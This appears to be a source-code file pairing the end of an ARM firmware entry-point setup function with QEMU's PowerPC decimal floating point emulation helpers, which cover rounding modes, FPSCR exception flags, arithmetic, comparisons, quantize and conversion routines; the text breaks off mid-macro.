bl1_plat_set_ep_info(unsigned int image_id, entry_point_info_t *ep_info) { uint64_t data = 0; if (image_id == BL2_IMAGE_ID) panic(); inv_dcache_range(NS_BL1U_BASE, NS_BL1U_SIZE); __asm__ volatile ("mrs %0, cpacr_el1" : "=r"(data)); do { data |= 3 << 20; __asm__ volatile ("msr cpacr_el1, %0" : : "r"(data)); __asm__ volatile ("mrs %0, cpacr_el1" : "=r"(data)); } while ((data & (3 << 20)) != (3 << 20)); INFO("cpacr_el1:0x%llx\n", data); ep_info->args.arg0 = 0xffff & read_mpidr(); ep_info->spsr = SPSR_64(MODE_EL1, MODE_SP_ELX, DISABLE_ALL_EXCEPTIONS); }
223247.c
/* * PowerPC Decimal Floating Point (DPF) emulation helpers for QEMU. * * Copyright (c) 2014 IBM Corporation. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, see <http://www.gnu.org/licenses/>. */ #include "qemu/osdep.h" #include "cpu.h" #include "exec/helper-proto.h" #define DECNUMDIGITS 34 #include "libdecnumber/decContext.h" #include "libdecnumber/decNumber.h" #include "libdecnumber/dpd/decimal32.h" #include "libdecnumber/dpd/decimal64.h" #include "libdecnumber/dpd/decimal128.h" #if defined(HOST_WORDS_BIGENDIAN) #define HI_IDX 0 #define LO_IDX 1 #else #define HI_IDX 1 #define LO_IDX 0 #endif struct PPC_DFP { CPUPPCState *env; uint64_t t64[2], a64[2], b64[2]; decNumber t, a, b; decContext context; uint8_t crbf; }; static void dfp_prepare_rounding_mode(decContext *context, uint64_t fpscr) { enum rounding rnd; switch ((fpscr >> 32) & 0x7) { case 0: rnd = DEC_ROUND_HALF_EVEN; break; case 1: rnd = DEC_ROUND_DOWN; break; case 2: rnd = DEC_ROUND_CEILING; break; case 3: rnd = DEC_ROUND_FLOOR; break; case 4: rnd = DEC_ROUND_HALF_UP; break; case 5: rnd = DEC_ROUND_HALF_DOWN; break; case 6: rnd = DEC_ROUND_UP; break; case 7: rnd = DEC_ROUND_05UP; break; default: g_assert_not_reached(); } decContextSetRounding(context, rnd); } static void dfp_set_round_mode_from_immediate(uint8_t r, uint8_t rmc, struct PPC_DFP *dfp) { enum rounding rnd; if (r == 0) { switch (rmc & 3) { case 0: rnd = DEC_ROUND_HALF_EVEN; break; case 1: rnd = DEC_ROUND_DOWN; break; case 2: rnd = DEC_ROUND_HALF_UP; break; case 3: /* use FPSCR rounding mode */ return; default: assert(0); /* cannot get here */ } } else { /* r == 1 */ switch (rmc & 3) { case 0: rnd = DEC_ROUND_CEILING; break; case 1: rnd = DEC_ROUND_FLOOR; break; case 2: rnd = DEC_ROUND_UP; break; case 3: rnd = DEC_ROUND_HALF_DOWN; break; default: assert(0); /* cannot get here */ } } decContextSetRounding(&dfp->context, rnd); } static void dfp_prepare_decimal64(struct PPC_DFP *dfp, uint64_t *a, uint64_t *b, CPUPPCState *env) { decContextDefault(&dfp->context, DEC_INIT_DECIMAL64); dfp_prepare_rounding_mode(&dfp->context, env->fpscr); dfp->env = env; if (a) { dfp->a64[0] = *a; decimal64ToNumber((decimal64 *)dfp->a64, &dfp->a); } else { dfp->a64[0] = 0; decNumberZero(&dfp->a); } if (b) { dfp->b64[0] = *b; decimal64ToNumber((decimal64 *)dfp->b64, &dfp->b); } else { dfp->b64[0] = 0; decNumberZero(&dfp->b); } } static void dfp_prepare_decimal128(struct PPC_DFP *dfp, uint64_t *a, uint64_t *b, CPUPPCState *env) { decContextDefault(&dfp->context, DEC_INIT_DECIMAL128); dfp_prepare_rounding_mode(&dfp->context, env->fpscr); dfp->env = env; if (a) { dfp->a64[0] = a[HI_IDX]; dfp->a64[1] = a[LO_IDX]; decimal128ToNumber((decimal128 *)dfp->a64, &dfp->a); } else { dfp->a64[0] = dfp->a64[1] = 0; decNumberZero(&dfp->a); } if (b) { dfp->b64[0] = b[HI_IDX]; dfp->b64[1] = b[LO_IDX]; decimal128ToNumber((decimal128 *)dfp->b64, &dfp->b); } else { dfp->b64[0] = dfp->b64[1] = 0; decNumberZero(&dfp->b); } } static void dfp_set_FPSCR_flag(struct PPC_DFP *dfp, uint64_t flag, uint64_t enabled) { dfp->env->fpscr |= (flag | FP_FX); if (dfp->env->fpscr & enabled) { dfp->env->fpscr |= FP_FEX; } } static void dfp_set_FPRF_from_FRT_with_context(struct PPC_DFP *dfp, decContext *context) { uint64_t fprf = 0; /* construct FPRF */ switch (decNumberClass(&dfp->t, context)) { case DEC_CLASS_SNAN: fprf = 0x01; break; case DEC_CLASS_QNAN: fprf = 0x11; break; case DEC_CLASS_NEG_INF: fprf = 0x09; break; case DEC_CLASS_NEG_NORMAL: fprf = 0x08; break; case DEC_CLASS_NEG_SUBNORMAL: fprf = 0x18; break; case DEC_CLASS_NEG_ZERO: fprf = 0x12; break; case DEC_CLASS_POS_ZERO: fprf = 0x02; break; case DEC_CLASS_POS_SUBNORMAL: fprf = 0x14; break; case DEC_CLASS_POS_NORMAL: fprf = 0x04; break; case DEC_CLASS_POS_INF: fprf = 0x05; break; default: assert(0); /* should never get here */ } dfp->env->fpscr &= ~(0x1F << 12); dfp->env->fpscr |= (fprf << 12); } static void dfp_set_FPRF_from_FRT(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT_with_context(dfp, &dfp->context); } static void dfp_set_FPRF_from_FRT_short(struct PPC_DFP *dfp) { decContext shortContext; decContextDefault(&shortContext, DEC_INIT_DECIMAL32); dfp_set_FPRF_from_FRT_with_context(dfp, &shortContext); } static void dfp_set_FPRF_from_FRT_long(struct PPC_DFP *dfp) { decContext longContext; decContextDefault(&longContext, DEC_INIT_DECIMAL64); dfp_set_FPRF_from_FRT_with_context(dfp, &longContext); } static void dfp_check_for_OX(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Overflow) { dfp_set_FPSCR_flag(dfp, FP_OX, FP_OE); } } static void dfp_check_for_UX(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Underflow) { dfp_set_FPSCR_flag(dfp, FP_UX, FP_UE); } } static void dfp_check_for_XX(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Inexact) { dfp_set_FPSCR_flag(dfp, FP_XX | FP_FI, FP_XE); } } static void dfp_check_for_ZX(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Division_by_zero) { dfp_set_FPSCR_flag(dfp, FP_ZX, FP_ZE); } } static void dfp_check_for_VXSNAN(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Invalid_operation) { if (decNumberIsSNaN(&dfp->a) || decNumberIsSNaN(&dfp->b)) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXSNAN, FP_VE); } } } static void dfp_check_for_VXSNAN_and_convert_to_QNaN(struct PPC_DFP *dfp) { if (decNumberIsSNaN(&dfp->t)) { dfp->t.bits &= ~DECSNAN; dfp->t.bits |= DECNAN; dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXSNAN, FP_VE); } } static void dfp_check_for_VXISI(struct PPC_DFP *dfp, int testForSameSign) { if (dfp->context.status & DEC_Invalid_operation) { if (decNumberIsInfinite(&dfp->a) && decNumberIsInfinite(&dfp->b)) { int same = decNumberClass(&dfp->a, &dfp->context) == decNumberClass(&dfp->b, &dfp->context); if ((same && testForSameSign) || (!same && !testForSameSign)) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXISI, FP_VE); } } } } static void dfp_check_for_VXISI_add(struct PPC_DFP *dfp) { dfp_check_for_VXISI(dfp, 0); } static void dfp_check_for_VXISI_subtract(struct PPC_DFP *dfp) { dfp_check_for_VXISI(dfp, 1); } static void dfp_check_for_VXIMZ(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Invalid_operation) { if ((decNumberIsInfinite(&dfp->a) && decNumberIsZero(&dfp->b)) || (decNumberIsInfinite(&dfp->b) && decNumberIsZero(&dfp->a))) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXIMZ, FP_VE); } } } static void dfp_check_for_VXZDZ(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Division_undefined) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXZDZ, FP_VE); } } static void dfp_check_for_VXIDI(struct PPC_DFP *dfp) { if (dfp->context.status & DEC_Invalid_operation) { if (decNumberIsInfinite(&dfp->a) && decNumberIsInfinite(&dfp->b)) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXIDI, FP_VE); } } } static void dfp_check_for_VXVC(struct PPC_DFP *dfp) { if (decNumberIsNaN(&dfp->a) || decNumberIsNaN(&dfp->b)) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXVC, FP_VE); } } static void dfp_check_for_VXCVI(struct PPC_DFP *dfp) { if ((dfp->context.status & DEC_Invalid_operation) && (!decNumberIsSNaN(&dfp->a)) && (!decNumberIsSNaN(&dfp->b))) { dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXCVI, FP_VE); } } static void dfp_set_CRBF_from_T(struct PPC_DFP *dfp) { if (decNumberIsNaN(&dfp->t)) { dfp->crbf = 1; } else if (decNumberIsZero(&dfp->t)) { dfp->crbf = 2; } else if (decNumberIsNegative(&dfp->t)) { dfp->crbf = 8; } else { dfp->crbf = 4; } } static void dfp_set_FPCC_from_CRBF(struct PPC_DFP *dfp) { dfp->env->fpscr &= ~(0xF << 12); dfp->env->fpscr |= (dfp->crbf << 12); } static inline void dfp_makeQNaN(decNumber *dn) { dn->bits &= ~DECSPECIAL; dn->bits |= DECNAN; } static inline int dfp_get_digit(decNumber *dn, int n) { assert(DECDPUN == 3); int unit = n / DECDPUN; int dig = n % DECDPUN; switch (dig) { case 0: return dn->lsu[unit] % 10; case 1: return (dn->lsu[unit] / 10) % 10; case 2: return dn->lsu[unit] / 100; } g_assert_not_reached(); } #define DFP_HELPER_TAB(op, dnop, postprocs, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *a, uint64_t *b) \ { \ struct PPC_DFP dfp; \ dfp_prepare_decimal##size(&dfp, a, b, env); \ dnop(&dfp.t, &dfp.a, &dfp.b, &dfp.context); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, &dfp.context); \ postprocs(&dfp); \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } static void ADD_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_OX(dfp); dfp_check_for_UX(dfp); dfp_check_for_XX(dfp); dfp_check_for_VXSNAN(dfp); dfp_check_for_VXISI_add(dfp); } DFP_HELPER_TAB(dadd, decNumberAdd, ADD_PPs, 64) DFP_HELPER_TAB(daddq, decNumberAdd, ADD_PPs, 128) static void SUB_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_OX(dfp); dfp_check_for_UX(dfp); dfp_check_for_XX(dfp); dfp_check_for_VXSNAN(dfp); dfp_check_for_VXISI_subtract(dfp); } DFP_HELPER_TAB(dsub, decNumberSubtract, SUB_PPs, 64) DFP_HELPER_TAB(dsubq, decNumberSubtract, SUB_PPs, 128) static void MUL_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_OX(dfp); dfp_check_for_UX(dfp); dfp_check_for_XX(dfp); dfp_check_for_VXSNAN(dfp); dfp_check_for_VXIMZ(dfp); } DFP_HELPER_TAB(dmul, decNumberMultiply, MUL_PPs, 64) DFP_HELPER_TAB(dmulq, decNumberMultiply, MUL_PPs, 128) static void DIV_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_OX(dfp); dfp_check_for_UX(dfp); dfp_check_for_ZX(dfp); dfp_check_for_XX(dfp); dfp_check_for_VXSNAN(dfp); dfp_check_for_VXZDZ(dfp); dfp_check_for_VXIDI(dfp); } DFP_HELPER_TAB(ddiv, decNumberDivide, DIV_PPs, 64) DFP_HELPER_TAB(ddivq, decNumberDivide, DIV_PPs, 128) #define DFP_HELPER_BF_AB(op, dnop, postprocs, size) \ uint32_t helper_##op(CPUPPCState *env, uint64_t *a, uint64_t *b) \ { \ struct PPC_DFP dfp; \ dfp_prepare_decimal##size(&dfp, a, b, env); \ dnop(&dfp.t, &dfp.a, &dfp.b, &dfp.context); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, &dfp.context); \ postprocs(&dfp); \ return dfp.crbf; \ } static void CMPU_PPs(struct PPC_DFP *dfp) { dfp_set_CRBF_from_T(dfp); dfp_set_FPCC_from_CRBF(dfp); dfp_check_for_VXSNAN(dfp); } DFP_HELPER_BF_AB(dcmpu, decNumberCompare, CMPU_PPs, 64) DFP_HELPER_BF_AB(dcmpuq, decNumberCompare, CMPU_PPs, 128) static void CMPO_PPs(struct PPC_DFP *dfp) { dfp_set_CRBF_from_T(dfp); dfp_set_FPCC_from_CRBF(dfp); dfp_check_for_VXSNAN(dfp); dfp_check_for_VXVC(dfp); } DFP_HELPER_BF_AB(dcmpo, decNumberCompare, CMPO_PPs, 64) DFP_HELPER_BF_AB(dcmpoq, decNumberCompare, CMPO_PPs, 128) #define DFP_HELPER_TSTDC(op, size) \ uint32_t helper_##op(CPUPPCState *env, uint64_t *a, uint32_t dcm) \ { \ struct PPC_DFP dfp; \ int match = 0; \ \ dfp_prepare_decimal##size(&dfp, a, 0, env); \ \ match |= (dcm & 0x20) && decNumberIsZero(&dfp.a); \ match |= (dcm & 0x10) && decNumberIsSubnormal(&dfp.a, &dfp.context); \ match |= (dcm & 0x08) && decNumberIsNormal(&dfp.a, &dfp.context); \ match |= (dcm & 0x04) && decNumberIsInfinite(&dfp.a); \ match |= (dcm & 0x02) && decNumberIsQNaN(&dfp.a); \ match |= (dcm & 0x01) && decNumberIsSNaN(&dfp.a); \ \ if (decNumberIsNegative(&dfp.a)) { \ dfp.crbf = match ? 0xA : 0x8; \ } else { \ dfp.crbf = match ? 0x2 : 0x0; \ } \ \ dfp_set_FPCC_from_CRBF(&dfp); \ return dfp.crbf; \ } DFP_HELPER_TSTDC(dtstdc, 64) DFP_HELPER_TSTDC(dtstdcq, 128) #define DFP_HELPER_TSTDG(op, size) \ uint32_t helper_##op(CPUPPCState *env, uint64_t *a, uint32_t dcm) \ { \ struct PPC_DFP dfp; \ int minexp, maxexp, nzero_digits, nzero_idx, is_negative, is_zero, \ is_extreme_exp, is_subnormal, is_normal, leftmost_is_nonzero, \ match; \ \ dfp_prepare_decimal##size(&dfp, a, 0, env); \ \ if ((size) == 64) { \ minexp = -398; \ maxexp = 369; \ nzero_digits = 16; \ nzero_idx = 5; \ } else if ((size) == 128) { \ minexp = -6176; \ maxexp = 6111; \ nzero_digits = 34; \ nzero_idx = 11; \ } \ \ is_negative = decNumberIsNegative(&dfp.a); \ is_zero = decNumberIsZero(&dfp.a); \ is_extreme_exp = (dfp.a.exponent == maxexp) || \ (dfp.a.exponent == minexp); \ is_subnormal = decNumberIsSubnormal(&dfp.a, &dfp.context); \ is_normal = decNumberIsNormal(&dfp.a, &dfp.context); \ leftmost_is_nonzero = (dfp.a.digits == nzero_digits) && \ (dfp.a.lsu[nzero_idx] != 0); \ match = 0; \ \ match |= (dcm & 0x20) && is_zero && !is_extreme_exp; \ match |= (dcm & 0x10) && is_zero && is_extreme_exp; \ match |= (dcm & 0x08) && \ (is_subnormal || (is_normal && is_extreme_exp)); \ match |= (dcm & 0x04) && is_normal && !is_extreme_exp && \ !leftmost_is_nonzero; \ match |= (dcm & 0x02) && is_normal && !is_extreme_exp && \ leftmost_is_nonzero; \ match |= (dcm & 0x01) && decNumberIsSpecial(&dfp.a); \ \ if (is_negative) { \ dfp.crbf = match ? 0xA : 0x8; \ } else { \ dfp.crbf = match ? 0x2 : 0x0; \ } \ \ dfp_set_FPCC_from_CRBF(&dfp); \ return dfp.crbf; \ } DFP_HELPER_TSTDG(dtstdg, 64) DFP_HELPER_TSTDG(dtstdgq, 128) #define DFP_HELPER_TSTEX(op, size) \ uint32_t helper_##op(CPUPPCState *env, uint64_t *a, uint64_t *b) \ { \ struct PPC_DFP dfp; \ int expa, expb, a_is_special, b_is_special; \ \ dfp_prepare_decimal##size(&dfp, a, b, env); \ \ expa = dfp.a.exponent; \ expb = dfp.b.exponent; \ a_is_special = decNumberIsSpecial(&dfp.a); \ b_is_special = decNumberIsSpecial(&dfp.b); \ \ if (a_is_special || b_is_special) { \ int atype = a_is_special ? (decNumberIsNaN(&dfp.a) ? 4 : 2) : 1; \ int btype = b_is_special ? (decNumberIsNaN(&dfp.b) ? 4 : 2) : 1; \ dfp.crbf = (atype ^ btype) ? 0x1 : 0x2; \ } else if (expa < expb) { \ dfp.crbf = 0x8; \ } else if (expa > expb) { \ dfp.crbf = 0x4; \ } else { \ dfp.crbf = 0x2; \ } \ \ dfp_set_FPCC_from_CRBF(&dfp); \ return dfp.crbf; \ } DFP_HELPER_TSTEX(dtstex, 64) DFP_HELPER_TSTEX(dtstexq, 128) #define DFP_HELPER_TSTSF(op, size) \ uint32_t helper_##op(CPUPPCState *env, uint64_t *a, uint64_t *b) \ { \ struct PPC_DFP dfp; \ unsigned k; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ k = *a & 0x3F; \ \ if (unlikely(decNumberIsSpecial(&dfp.b))) { \ dfp.crbf = 1; \ } else if (k == 0) { \ dfp.crbf = 4; \ } else if (unlikely(decNumberIsZero(&dfp.b))) { \ /* Zero has no sig digits */ \ dfp.crbf = 4; \ } else { \ unsigned nsd = dfp.b.digits; \ if (k < nsd) { \ dfp.crbf = 8; \ } else if (k > nsd) { \ dfp.crbf = 4; \ } else { \ dfp.crbf = 2; \ } \ } \ \ dfp_set_FPCC_from_CRBF(&dfp); \ return dfp.crbf; \ } DFP_HELPER_TSTSF(dtstsf, 64) DFP_HELPER_TSTSF(dtstsfq, 128) #define DFP_HELPER_TSTSFI(op, size) \ uint32_t helper_##op(CPUPPCState *env, uint32_t a, uint64_t *b) \ { \ struct PPC_DFP dfp; \ unsigned uim; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ uim = a & 0x3F; \ \ if (unlikely(decNumberIsSpecial(&dfp.b))) { \ dfp.crbf = 1; \ } else if (uim == 0) { \ dfp.crbf = 4; \ } else if (unlikely(decNumberIsZero(&dfp.b))) { \ /* Zero has no sig digits */ \ dfp.crbf = 4; \ } else { \ unsigned nsd = dfp.b.digits; \ if (uim < nsd) { \ dfp.crbf = 8; \ } else if (uim > nsd) { \ dfp.crbf = 4; \ } else { \ dfp.crbf = 2; \ } \ } \ \ dfp_set_FPCC_from_CRBF(&dfp); \ return dfp.crbf; \ } DFP_HELPER_TSTSFI(dtstsfi, 64) DFP_HELPER_TSTSFI(dtstsfiq, 128) static void QUA_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_XX(dfp); dfp_check_for_VXSNAN(dfp); dfp_check_for_VXCVI(dfp); } static void dfp_quantize(uint8_t rmc, struct PPC_DFP *dfp) { dfp_set_round_mode_from_immediate(0, rmc, dfp); decNumberQuantize(&dfp->t, &dfp->b, &dfp->a, &dfp->context); if (decNumberIsSNaN(&dfp->a)) { dfp->t = dfp->a; dfp_makeQNaN(&dfp->t); } else if (decNumberIsSNaN(&dfp->b)) { dfp->t = dfp->b; dfp_makeQNaN(&dfp->t); } else if (decNumberIsQNaN(&dfp->a)) { dfp->t = dfp->a; } else if (decNumberIsQNaN(&dfp->b)) { dfp->t = dfp->b; } } #define DFP_HELPER_QUAI(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b, \ uint32_t te, uint32_t rmc) \ { \ struct PPC_DFP dfp; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ decNumberFromUInt32(&dfp.a, 1); \ dfp.a.exponent = (int32_t)((int8_t)(te << 3) >> 3); \ \ dfp_quantize(rmc, &dfp); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, \ &dfp.context); \ QUA_PPs(&dfp); \ \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_QUAI(dquai, 64) DFP_HELPER_QUAI(dquaiq, 128) #define DFP_HELPER_QUA(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *a, \ uint64_t *b, uint32_t rmc) \ { \ struct PPC_DFP dfp; \ \ dfp_prepare_decimal##size(&dfp, a, b, env); \ \ dfp_quantize(rmc, &dfp); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, \ &dfp.context); \ QUA_PPs(&dfp); \ \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_QUA(dqua, 64) DFP_HELPER_QUA(dquaq, 128) static void _dfp_reround(uint8_t rmc, int32_t ref_sig, int32_t xmax, struct PPC_DFP *dfp) { int msd_orig, msd_rslt; if (unlikely((ref_sig == 0) || (dfp->b.digits <= ref_sig))) { dfp->t = dfp->b; if (decNumberIsSNaN(&dfp->b)) { dfp_makeQNaN(&dfp->t); dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXSNAN, FPSCR_VE); } return; } /* Reround is equivalent to quantizing b with 1**E(n) where */ /* n = exp(b) + numDigits(b) - reference_significance. */ decNumberFromUInt32(&dfp->a, 1); dfp->a.exponent = dfp->b.exponent + dfp->b.digits - ref_sig; if (unlikely(dfp->a.exponent > xmax)) { dfp->t.digits = 0; dfp->t.bits &= ~DECNEG; dfp_makeQNaN(&dfp->t); dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXCVI, FPSCR_VE); return; } dfp_quantize(rmc, dfp); msd_orig = dfp_get_digit(&dfp->b, dfp->b.digits-1); msd_rslt = dfp_get_digit(&dfp->t, dfp->t.digits-1); /* If the quantization resulted in rounding up to the next magnitude, */ /* then we need to shift the significand and adjust the exponent. */ if (unlikely((msd_orig == 9) && (msd_rslt == 1))) { decNumber negone; decNumberFromInt32(&negone, -1); decNumberShift(&dfp->t, &dfp->t, &negone, &dfp->context); dfp->t.exponent++; if (unlikely(dfp->t.exponent > xmax)) { dfp_makeQNaN(&dfp->t); dfp->t.digits = 0; dfp_set_FPSCR_flag(dfp, FP_VX | FP_VXCVI, FP_VE); /* Inhibit XX in this case */ decContextClearStatus(&dfp->context, DEC_Inexact); } } } #define DFP_HELPER_RRND(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *a, \ uint64_t *b, uint32_t rmc) \ { \ struct PPC_DFP dfp; \ int32_t ref_sig = *a & 0x3F; \ int32_t xmax = ((size) == 64) ? 369 : 6111; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ _dfp_reround(rmc, ref_sig, xmax, &dfp); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, \ &dfp.context); \ QUA_PPs(&dfp); \ \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_RRND(drrnd, 64) DFP_HELPER_RRND(drrndq, 128) #define DFP_HELPER_RINT(op, postprocs, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b, \ uint32_t r, uint32_t rmc) \ { \ struct PPC_DFP dfp; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ dfp_set_round_mode_from_immediate(r, rmc, &dfp); \ decNumberToIntegralExact(&dfp.t, &dfp.b, &dfp.context); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, &dfp.context); \ postprocs(&dfp); \ \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } static void RINTX_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_XX(dfp); dfp_check_for_VXSNAN(dfp); } DFP_HELPER_RINT(drintx, RINTX_PPs, 64) DFP_HELPER_RINT(drintxq, RINTX_PPs, 128) static void RINTN_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_VXSNAN(dfp); } DFP_HELPER_RINT(drintn, RINTN_PPs, 64) DFP_HELPER_RINT(drintnq, RINTN_PPs, 128) void helper_dctdp(CPUPPCState *env, uint64_t *t, uint64_t *b) { struct PPC_DFP dfp; uint32_t b_short = *b; dfp_prepare_decimal64(&dfp, 0, 0, env); decimal32ToNumber((decimal32 *)&b_short, &dfp.t); decimal64FromNumber((decimal64 *)t, &dfp.t, &dfp.context); dfp_set_FPRF_from_FRT(&dfp); } void helper_dctqpq(CPUPPCState *env, uint64_t *t, uint64_t *b) { struct PPC_DFP dfp; dfp_prepare_decimal128(&dfp, 0, 0, env); decimal64ToNumber((decimal64 *)b, &dfp.t); dfp_check_for_VXSNAN_and_convert_to_QNaN(&dfp); dfp_set_FPRF_from_FRT(&dfp); decimal128FromNumber((decimal128 *)&dfp.t64, &dfp.t, &dfp.context); t[0] = dfp.t64[HI_IDX]; t[1] = dfp.t64[LO_IDX]; } void helper_drsp(CPUPPCState *env, uint64_t *t, uint64_t *b) { struct PPC_DFP dfp; uint32_t t_short = 0; dfp_prepare_decimal64(&dfp, 0, b, env); decimal32FromNumber((decimal32 *)&t_short, &dfp.b, &dfp.context); decimal32ToNumber((decimal32 *)&t_short, &dfp.t); dfp_set_FPRF_from_FRT_short(&dfp); dfp_check_for_OX(&dfp); dfp_check_for_UX(&dfp); dfp_check_for_XX(&dfp); *t = t_short; } void helper_drdpq(CPUPPCState *env, uint64_t *t, uint64_t *b) { struct PPC_DFP dfp; dfp_prepare_decimal128(&dfp, 0, b, env); decimal64FromNumber((decimal64 *)&dfp.t64, &dfp.b, &dfp.context); decimal64ToNumber((decimal64 *)&dfp.t64, &dfp.t); dfp_check_for_VXSNAN_and_convert_to_QNaN(&dfp); dfp_set_FPRF_from_FRT_long(&dfp); dfp_check_for_OX(&dfp); dfp_check_for_UX(&dfp); dfp_check_for_XX(&dfp); decimal64FromNumber((decimal64 *)dfp.t64, &dfp.t, &dfp.context); t[0] = dfp.t64[0]; t[1] = 0; } #define DFP_HELPER_CFFIX(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b) \ { \ struct PPC_DFP dfp; \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ decNumberFromInt64(&dfp.t, (int64_t)(*b)); \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, &dfp.context); \ CFFIX_PPs(&dfp); \ \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } static void CFFIX_PPs(struct PPC_DFP *dfp) { dfp_set_FPRF_from_FRT(dfp); dfp_check_for_XX(dfp); } DFP_HELPER_CFFIX(dcffix, 64) DFP_HELPER_CFFIX(dcffixq, 128) #define DFP_HELPER_CTFIX(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b) \ { \ struct PPC_DFP dfp; \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ if (unlikely(decNumberIsSpecial(&dfp.b))) { \ uint64_t invalid_flags = FP_VX | FP_VXCVI; \ if (decNumberIsInfinite(&dfp.b)) { \ dfp.t64[0] = decNumberIsNegative(&dfp.b) ? INT64_MIN : INT64_MAX; \ } else { /* NaN */ \ dfp.t64[0] = INT64_MIN; \ if (decNumberIsSNaN(&dfp.b)) { \ invalid_flags |= FP_VXSNAN; \ } \ } \ dfp_set_FPSCR_flag(&dfp, invalid_flags, FP_VE); \ } else if (unlikely(decNumberIsZero(&dfp.b))) { \ dfp.t64[0] = 0; \ } else { \ decNumberToIntegralExact(&dfp.b, &dfp.b, &dfp.context); \ dfp.t64[0] = decNumberIntegralToInt64(&dfp.b, &dfp.context); \ if (decContextTestStatus(&dfp.context, DEC_Invalid_operation)) { \ dfp.t64[0] = decNumberIsNegative(&dfp.b) ? INT64_MIN : INT64_MAX; \ dfp_set_FPSCR_flag(&dfp, FP_VX | FP_VXCVI, FP_VE); \ } else { \ dfp_check_for_XX(&dfp); \ } \ } \ \ *t = dfp.t64[0]; \ } DFP_HELPER_CTFIX(dctfix, 64) DFP_HELPER_CTFIX(dctfixq, 128) static inline void dfp_set_bcd_digit_64(uint64_t *t, uint8_t digit, unsigned n) { *t |= ((uint64_t)(digit & 0xF) << (n << 2)); } static inline void dfp_set_bcd_digit_128(uint64_t *t, uint8_t digit, unsigned n) { t[(n & 0x10) ? HI_IDX : LO_IDX] |= ((uint64_t)(digit & 0xF) << ((n & 15) << 2)); } static inline void dfp_set_sign_64(uint64_t *t, uint8_t sgn) { *t <<= 4; *t |= (sgn & 0xF); } static inline void dfp_set_sign_128(uint64_t *t, uint8_t sgn) { t[HI_IDX] <<= 4; t[HI_IDX] |= (t[LO_IDX] >> 60); t[LO_IDX] <<= 4; t[LO_IDX] |= (sgn & 0xF); } #define DFP_HELPER_DEDPD(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b, uint32_t sp) \ { \ struct PPC_DFP dfp; \ uint8_t digits[34]; \ int i, N; \ \ 